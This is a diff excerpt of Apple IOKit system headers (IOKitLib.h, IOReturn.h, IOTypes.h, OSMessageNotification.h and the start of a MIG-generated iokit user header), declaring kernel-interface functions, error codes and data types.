@result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */
CFMutableDictionaryRef
IORegistryEntryIDMatching(
uint64_t entryID ) CF_RETURNS_RETAINED;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
kern_return_t
IOServiceOFPathToBSDName(mach_port_t masterPort,
const io_name_t openFirmwarePath,
io_name_t bsdName) DEPRECATED_ATTRIBUTE;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*! @typedef IOAsyncCallback0
@abstract standard callback function for asynchronous I/O requests with
no extra arguments beyond a refcon and result code.
@param refcon The refcon passed into the original I/O request
@param result The result of the I/O operation
*/
typedef void (*IOAsyncCallback0)(void *refcon, IOReturn result);
/*! @typedef IOAsyncCallback1
@abstract standard callback function for asynchronous I/O requests with
one extra argument beyond a refcon and result code.
This is often a count of the number of bytes transferred
@param refcon The refcon passed into the original I/O request
@param result The result of the I/O operation
@param arg0 Extra argument
*/
typedef void (*IOAsyncCallback1)(void *refcon, IOReturn result, void *arg0);
/*! @typedef IOAsyncCallback2
@abstract standard callback function for asynchronous I/O requests with
two extra arguments beyond a refcon and result code.
@param refcon The refcon passed into the original I/O request
@param result The result of the I/O operation
@param arg0 Extra argument
@param arg1 Extra argument
*/
typedef void (*IOAsyncCallback2)(void *refcon, IOReturn result, void *arg0, void *arg1);
/*! @typedef IOAsyncCallback
@abstract standard callback function for asynchronous I/O requests with
lots of extra arguments beyond a refcon and result code.
@param refcon The refcon passed into the original I/O request
@param result The result of the I/O operation
@param args Array of extra arguments
@param numArgs Number of extra arguments
*/
typedef void (*IOAsyncCallback)(void *refcon, IOReturn result, void **args,
uint32_t numArgs);
/* Internal use */
kern_return_t
OSGetNotificationFromMessage(
mach_msg_header_t * msg,
uint32_t index,
uint32_t * type,
uintptr_t * reference,
void ** content,
vm_size_t * size );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/* Internal use */
kern_return_t
IOCatalogueSendData(
mach_port_t masterPort,
uint32_t flag,
const char *buffer,
uint32_t size );
kern_return_t
IOCatalogueTerminate(
mach_port_t masterPort,
uint32_t flag,
io_name_t description );
kern_return_t
IOCatalogueGetData(
mach_port_t masterPort,
uint32_t flag,
char **buffer,
uint32_t *size );
kern_return_t
IOCatalogueModuleLoaded(
mach_port_t masterPort,
io_name_t name );
/* Use IOCatalogueSendData(), with kIOCatalogResetDrivers, to replace catalogue
* rather than emptying it. Doing so keeps instance counts down by uniquing
* existing personalities.
*/
kern_return_t
IOCatalogueReset(
mach_port_t masterPort,
uint32_t flag );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
// obsolete API
#if !defined(__LP64__)
// for Power Mgt
typedef struct IOObject IOObject;
// for MacOS.app
kern_return_t
IORegistryDisposeEnumerator(
io_enumerator_t enumerator ) DEPRECATED_ATTRIBUTE;
kern_return_t
IOMapMemory(
io_connect_t connect,
uint32_t memoryType,
task_port_t intoTask,
vm_address_t * atAddress,
vm_size_t * ofSize,
uint32_t flags ) DEPRECATED_ATTRIBUTE;
// for CGS
kern_return_t
IOCompatibiltyNumber(
mach_port_t connect,
uint32_t * objectNumber ) DEPRECATED_ATTRIBUTE;
// Traditional IOUserClient transport routines
kern_return_t
IOConnectMethodScalarIScalarO(
io_connect_t connect,
uint32_t index,
IOItemCount scalarInputCount,
IOItemCount scalarOutputCount,
... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;
kern_return_t
IOConnectMethodScalarIStructureO(
io_connect_t connect,
uint32_t index,
IOItemCount scalarInputCount,
IOByteCount * structureSize,
... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;
kern_return_t
IOConnectMethodScalarIStructureI(
io_connect_t connect,
uint32_t index,
IOItemCount scalarInputCount,
IOByteCount structureSize,
... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;
kern_return_t
IOConnectMethodStructureIStructureO(
io_connect_t connect,
uint32_t index,
IOItemCount structureInputSize,
IOByteCount * structureOutputSize,
void * inputStructure,
void * ouputStructure ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;
// Compatability with earlier Mig interface routines
#if IOCONNECT_NO_32B_METHODS
kern_return_t
io_connect_map_memory(
io_connect_t connect,
uint32_t memoryType,
task_port_t intoTask,
vm_address_t *atAddress,
vm_size_t *ofSize,
IOOptionBits options) DEPRECATED_ATTRIBUTE;
kern_return_t
io_connect_unmap_memory(
io_connect_t connect,
uint32_t memoryType,
task_port_t fromTask,
vm_address_t atAddress) DEPRECATED_ATTRIBUTE;
kern_return_t
io_connect_method_scalarI_scalarO(
mach_port_t connection,
int selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_scalar_inband_t output,
mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;
kern_return_t
io_connect_method_scalarI_structureO(
mach_port_t connection,
int selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;
kern_return_t
io_connect_method_scalarI_structureI(
mach_port_t connection,
int selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t inputStruct,
mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE;
kern_return_t
io_connect_method_structureI_structureO(
mach_port_t connection,
int selector,
io_struct_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;
kern_return_t
io_async_method_scalarI_scalarO(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
int selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_scalar_inband_t output,
mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;
kern_return_t
io_async_method_scalarI_structureO(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
int selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;
kern_return_t
io_async_method_scalarI_structureI(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
int selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t inputStruct,
mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE;
kern_return_t
io_async_method_structureI_structureO(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
int selector,
io_struct_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE;
#endif // IOCONNECT_NO_32B_METHODS
#endif /* defined(__LP64__) */
__END_DECLS
#endif /* ! _IOKIT_IOKITLIB_H */
@@ -0,0 +1,146 @@
/*
* Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
/*
* HISTORY
*/
/*
* Core IOReturn values. Others may be family defined.
*/
#ifndef __IOKIT_IORETURN_H
#define __IOKIT_IORETURN_H
#ifdef __cplusplus
extern "C" {
#endif
#include <mach/error.h>
typedef kern_return_t IOReturn;
#ifndef sys_iokit
#define sys_iokit err_system(0x38)
#endif /* sys_iokit */
#define sub_iokit_common err_sub(0)
#define sub_iokit_usb err_sub(1)
#define sub_iokit_firewire err_sub(2)
#define sub_iokit_block_storage err_sub(4)
#define sub_iokit_graphics err_sub(5)
#define sub_iokit_networking err_sub(6)
#define sub_iokit_bluetooth err_sub(8)
#define sub_iokit_pmu err_sub(9)
#define sub_iokit_acpi err_sub(10)
#define sub_iokit_smbus err_sub(11)
#define sub_iokit_ahci err_sub(12)
#define sub_iokit_powermanagement err_sub(13)
#define sub_iokit_hidsystem err_sub(14)
#define sub_iokit_scsi err_sub(16)
#define sub_iokit_usbaudio err_sub(17)
//#define sub_iokit_pccard err_sub(21)
#define sub_iokit_thunderbolt err_sub(29)
#define sub_iokit_platform err_sub(0x2A)
#define sub_iokit_audio_video err_sub(0x45)
#define sub_iokit_baseband err_sub(0x80)
#define sub_iokit_HDA err_sub(254)
#define sub_iokit_hsic err_sub(0x147)
#define sub_iokit_sdio err_sub(0x174)
#define sub_iokit_wlan err_sub(0x208)
#define sub_iokit_vendor_specific err_sub(-2)
#define sub_iokit_reserved err_sub(-1)
#define iokit_common_err(return) (sys_iokit|sub_iokit_common|return)
#define iokit_family_err(sub,return) (sys_iokit|sub|return)
#define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return)
#define kIOReturnSuccess KERN_SUCCESS // OK
#define kIOReturnError iokit_common_err(0x2bc) // general error
#define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory
#define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage
#define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC
#define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device
#define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation
#define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument
#define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked
#define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked
#define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and
// device already open
#define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages
// had different msg_id
#define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function
#define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure
#define kIOReturnInternalError iokit_common_err(0x2c9) // internal error
#define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error
//#define kIOReturn???Error iokit_common_err(0x2cb) // ???
#define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock
#define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open
#define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported
#define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported
#define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error
#define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error
#define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open
#define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure
#define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure
#define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy
#define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout
#define kIOReturnOffline iokit_common_err(0x2d7) // device offline
#define kIOReturnNotReady iokit_common_err(0x2d8) // not ready
#define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached
#define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left
#define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data
//#define kIOReturn???Error iokit_common_err(0x2dc) // ???
#define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists
#define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down
// physical memory
#define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached
#define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued
#define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received
// on interrupt port
#define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted
#define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device
#define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present
#define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted
#define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode
#define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun
#define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun
#define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly!
#define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required
#define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted
#define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded
#define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding
#define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past!
#define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future
#define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found
#define kIOReturnInvalid iokit_common_err(0x1) // should never be seen
#ifdef __cplusplus
}
#endif
#endif /* ! __IOKIT_IORETURN_H */
@@ -0,0 +1,236 @@
/*
* Copyright (c) 1998-2012 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
#ifndef __IOKIT_IOTYPES_H
#define __IOKIT_IOTYPES_H
#ifndef IOKIT
#define IOKIT 1
#endif /* !IOKIT */
#include <mach/message.h>
#include <mach/vm_types.h>
#include <IOKit/IOReturn.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef NULL
#if defined (__cplusplus)
#define NULL 0
#else
#define NULL ((void *)0)
#endif
#endif
/*
* Simple data types.
*/
#include <stdbool.h>
//#include <libkern/OSTypes.h>
typedef UInt32 IOOptionBits;
typedef SInt32 IOFixed;
typedef UInt32 IOVersion;
typedef UInt32 IOItemCount;
typedef UInt32 IOCacheMode;
typedef UInt32 IOByteCount32;
typedef UInt64 IOByteCount64;
typedef UInt32 IOPhysicalAddress32;
typedef UInt64 IOPhysicalAddress64;
typedef UInt32 IOPhysicalLength32;
typedef UInt64 IOPhysicalLength64;
#if !defined(__arm__) && !defined(__i386__)
typedef mach_vm_address_t IOVirtualAddress;
#else
typedef vm_address_t IOVirtualAddress;
#endif
#if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL))
typedef IOByteCount64 IOByteCount;
#else
typedef IOByteCount32 IOByteCount;
#endif
typedef IOVirtualAddress IOLogicalAddress;
#if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL))
typedef IOPhysicalAddress64 IOPhysicalAddress;
typedef IOPhysicalLength64 IOPhysicalLength;
#define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32))
#define IOPhysSize 64
#else
typedef IOPhysicalAddress32 IOPhysicalAddress;
typedef IOPhysicalLength32 IOPhysicalLength;
#define IOPhysical32( hi, lo ) (lo)
#define IOPhysSize 32
#endif
typedef struct
{
IOPhysicalAddress address;
IOByteCount length;
} IOPhysicalRange;
typedef struct
{
IOVirtualAddress address;
IOByteCount length;
} IOVirtualRange;
#if !defined(__arm__) && !defined(__i386__)
typedef IOVirtualRange IOAddressRange;
#else
typedef struct
{
mach_vm_address_t address;
mach_vm_size_t length;
} IOAddressRange;
#endif
/*
* Map between #defined or enum'd constants and text description.
*/
typedef struct {
int value;
const char *name;
} IONamedValue;
/*
* Memory alignment -- specified as a power of two.
*/
typedef unsigned int IOAlignment;
#define IO_NULL_VM_TASK ((vm_task_t)0)
/*
* Pull in machine specific stuff.
*/
//#include <IOKit/machine/IOTypes.h>
#ifndef MACH_KERNEL
#ifndef __IOKIT_PORTS_DEFINED__
#define __IOKIT_PORTS_DEFINED__
typedef mach_port_t io_object_t;
#endif /* __IOKIT_PORTS_DEFINED__ */
#include <device/device_types.h>
typedef io_object_t io_connect_t;
typedef io_object_t io_enumerator_t;
typedef io_object_t io_iterator_t;
typedef io_object_t io_registry_entry_t;
typedef io_object_t io_service_t;
#define IO_OBJECT_NULL ((io_object_t) 0)
#endif /* MACH_KERNEL */
// IOConnectMapMemory memoryTypes
enum {
kIODefaultMemoryType = 0
};
enum {
kIODefaultCache = 0,
kIOInhibitCache = 1,
kIOWriteThruCache = 2,
kIOCopybackCache = 3,
kIOWriteCombineCache = 4,
kIOCopybackInnerCache = 5
};
// IOMemory mapping options
enum {
kIOMapAnywhere = 0x00000001,
kIOMapCacheMask = 0x00000700,
kIOMapCacheShift = 8,
kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift,
kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift,
kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift,
kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift,
kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift,
kIOMapCopybackInnerCache = kIOCopybackInnerCache << kIOMapCacheShift,
kIOMapUserOptionsMask = 0x00000fff,
kIOMapReadOnly = 0x00001000,
kIOMapStatic = 0x01000000,
kIOMapReference = 0x02000000,
kIOMapUnique = 0x04000000,
kIOMapPrefault = 0x10000000,
kIOMapOverwrite = 0x20000000
};
/*! @enum Scale Factors
@discussion Used when a scale_factor parameter is required to define a unit of time.
@constant kNanosecondScale Scale factor for nanosecond based times.
@constant kMicrosecondScale Scale factor for microsecond based times.
@constant kMillisecondScale Scale factor for millisecond based times.
@constant kTickScale Scale factor for the standard (100Hz) tick.
@constant kSecondScale Scale factor for second based times. */
enum {
kNanosecondScale = 1,
kMicrosecondScale = 1000,
kMillisecondScale = 1000 * 1000,
kSecondScale = 1000 * 1000 * 1000,
kTickScale = (kSecondScale / 100)
};
enum {
kIOConnectMethodVarOutputSize = -3
};
/* compatibility types */
typedef unsigned int IODeviceNumber;
#ifdef __cplusplus
}
#endif
#endif /* ! __IOKIT_IOTYPES_H */
@@ -0,0 +1,163 @@
/*
* Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
/*
* Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
*
* HISTORY
*
*/
#ifndef __OS_OSMESSAGENOTIFICATION_H
#define __OS_OSMESSAGENOTIFICATION_H
#ifdef __cplusplus
extern "C" {
#endif
#include <mach/mach_types.h>
#include <device/device_types.h>
#include <IOKit/IOReturn.h>
enum {
kFirstIOKitNotificationType = 100,
kIOServicePublishNotificationType = 100,
kIOServiceMatchedNotificationType = 101,
kIOServiceTerminatedNotificationType = 102,
kIOAsyncCompletionNotificationType = 150,
kIOServiceMessageNotificationType = 160,
kLastIOKitNotificationType = 199,
// reserved bits
kIOKitNoticationTypeMask = 0x00000FFF,
kIOKitNoticationTypeSizeAdjShift = 30,
kIOKitNoticationMsgSizeMask = 3,
};
enum {
kOSNotificationMessageID = 53,
kOSAsyncCompleteMessageID = 57,
kMaxAsyncArgs = 16
};
enum {
kIOAsyncReservedIndex = 0,
kIOAsyncReservedCount,
kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount,
kIOAsyncCalloutRefconIndex,
kIOAsyncCalloutCount,
kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount,
kIOMatchingCalloutRefconIndex,
kIOMatchingCalloutCount,
kIOInterestCalloutFuncIndex = kIOAsyncReservedCount,
kIOInterestCalloutRefconIndex,
kIOInterestCalloutServiceIndex,
kIOInterestCalloutCount
};
// --------------
enum {
kOSAsyncRef64Count = 8,
kOSAsyncRef64Size = kOSAsyncRef64Count * ((int) sizeof(io_user_reference_t))
};
typedef io_user_reference_t OSAsyncReference64[kOSAsyncRef64Count];
struct OSNotificationHeader64 {
mach_msg_size_t size; /* content size */
natural_t type;
OSAsyncReference64 reference;
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
unsigned char content[];
#else
unsigned char content[0];
#endif
};
#pragma pack(4)
struct IOServiceInterestContent64 {
natural_t messageType;
io_user_reference_t messageArgument[1];
};
#pragma pack()
// --------------
#if !KERNEL_USER32
enum {
kOSAsyncRefCount = 8,
kOSAsyncRefSize = 32
};
typedef natural_t OSAsyncReference[kOSAsyncRefCount];
struct OSNotificationHeader {
mach_msg_size_t size; /* content size */
natural_t type;
OSAsyncReference reference;
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
unsigned char content[];
#else
unsigned char content[0];
#endif
};
#pragma pack(4)
struct IOServiceInterestContent {
natural_t messageType;
void * messageArgument[1];
};
#pragma pack()
#endif /* KERNEL_USER32 */
struct IOAsyncCompletionContent {
IOReturn result;
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
void * args[] __attribute__ ((packed));
#else
void * args[0] __attribute__ ((packed));
#endif
};
#ifndef __cplusplus
typedef struct OSNotificationHeader OSNotificationHeader;
typedef struct IOServiceInterestContent IOServiceInterestContent;
typedef struct IOAsyncCompletionContent IOAsyncCompletionContent;
#endif
#ifdef __cplusplus
}
#endif
#endif /* __OS_OSMESSAGENOTIFICATION_H */
@@ -0,0 +1,3781 @@
#if !defined(__LP64__)
#ifndef _iokit_user_
#define _iokit_user_
/* Module iokit */
#include <string.h>
#include <mach/ndr.h>
#include <mach/boolean.h>
#include <mach/kern_return.h>
#include <mach/notify.h>
#include <mach/mach_types.h>
#include <mach/message.h>
#include <mach/mig_errors.h>
#include <mach/port.h>
#ifdef AUTOTEST
#ifndef FUNCTION_PTR_T
#define FUNCTION_PTR_T
typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);
typedef struct {
char *name;
function_ptr_t function;
} function_table_entry;
typedef function_table_entry *function_table_t;
#endif /* FUNCTION_PTR_T */
#endif /* AUTOTEST */
#ifndef iokit_MSG_COUNT
#define iokit_MSG_COUNT 87
#endif /* iokit_MSG_COUNT */
#include <mach/std_types.h>
#include <mach/mig.h>
#include <mach/mig.h>
#include <mach/mach_types.h>
#include <mach/mach_types.h>
#include <device/device_types.h>
#ifdef __BeforeMigUserHeader
__BeforeMigUserHeader
#endif /* __BeforeMigUserHeader */
#include <sys/cdefs.h>
__BEGIN_DECLS
/* Routine io_object_get_class */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_object_get_class
(
mach_port_t object,
io_name_t className
);
/* Routine io_object_conforms_to */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_object_conforms_to
(
mach_port_t object,
io_name_t className,
boolean_t *conforms
);
/* Routine io_iterator_next */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_iterator_next
(
mach_port_t iterator,
mach_port_t *object
);
/* Routine io_iterator_reset */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_iterator_reset
(
mach_port_t iterator
);
/* Routine io_service_get_matching_services */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_matching_services
(
mach_port_t master_port,
io_string_t matching,
mach_port_t *existing
);
/* Routine io_registry_entry_get_property */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_property
(
mach_port_t registry_entry,
io_name_t property_name,
io_buf_ptr_t *properties,
mach_msg_type_number_t *propertiesCnt
);
/* Routine io_registry_create_iterator */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_create_iterator
(
mach_port_t master_port,
io_name_t plane,
uint32_t options,
mach_port_t *iterator
);
/* Routine io_registry_iterator_enter_entry */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_iterator_enter_entry
(
mach_port_t iterator
);
/* Routine io_registry_iterator_exit_entry */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_iterator_exit_entry
(
mach_port_t iterator
);
/* Routine io_registry_entry_from_path */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_from_path
(
mach_port_t master_port,
io_string_t path,
mach_port_t *registry_entry
);
/* Routine io_registry_entry_get_name */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_name
(
mach_port_t registry_entry,
io_name_t name
);
/* Routine io_registry_entry_get_properties */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_properties
(
mach_port_t registry_entry,
io_buf_ptr_t *properties,
mach_msg_type_number_t *propertiesCnt
);
/* Routine io_registry_entry_get_property_bytes */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_property_bytes
(
mach_port_t registry_entry,
io_name_t property_name,
io_struct_inband_t data,
mach_msg_type_number_t *dataCnt
);
/* Routine io_registry_entry_get_child_iterator */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_child_iterator
(
mach_port_t registry_entry,
io_name_t plane,
mach_port_t *iterator
);
/* Routine io_registry_entry_get_parent_iterator */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_parent_iterator
(
mach_port_t registry_entry,
io_name_t plane,
mach_port_t *iterator
);
/* Routine io_service_close */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_close
(
mach_port_t connection
);
/* Routine io_connect_get_service */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_get_service
(
mach_port_t connection,
mach_port_t *service
);
/* Routine io_connect_set_notification_port */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_set_notification_port
(
mach_port_t connection,
uint32_t notification_type,
mach_port_t port,
uint32_t reference
);
/* Routine io_connect_map_memory */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_map_memory
(
mach_port_t connection,
uint32_t memory_type,
task_t into_task,
vm_address_t *address,
vm_size_t *size,
uint32_t flags
);
/* Routine io_connect_add_client */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_add_client
(
mach_port_t connection,
mach_port_t connect_to
);
/* Routine io_connect_set_properties */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_set_properties
(
mach_port_t connection,
io_buf_ptr_t properties,
mach_msg_type_number_t propertiesCnt,
kern_return_t *result
);
/* Routine io_connect_method_scalarI_scalarO */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_method_scalarI_scalarO
(
mach_port_t connection,
uint32_t selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_scalar_inband_t output,
mach_msg_type_number_t *outputCnt
);
/* Routine io_connect_method_scalarI_structureO */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_method_scalarI_structureO
(
mach_port_t connection,
uint32_t selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
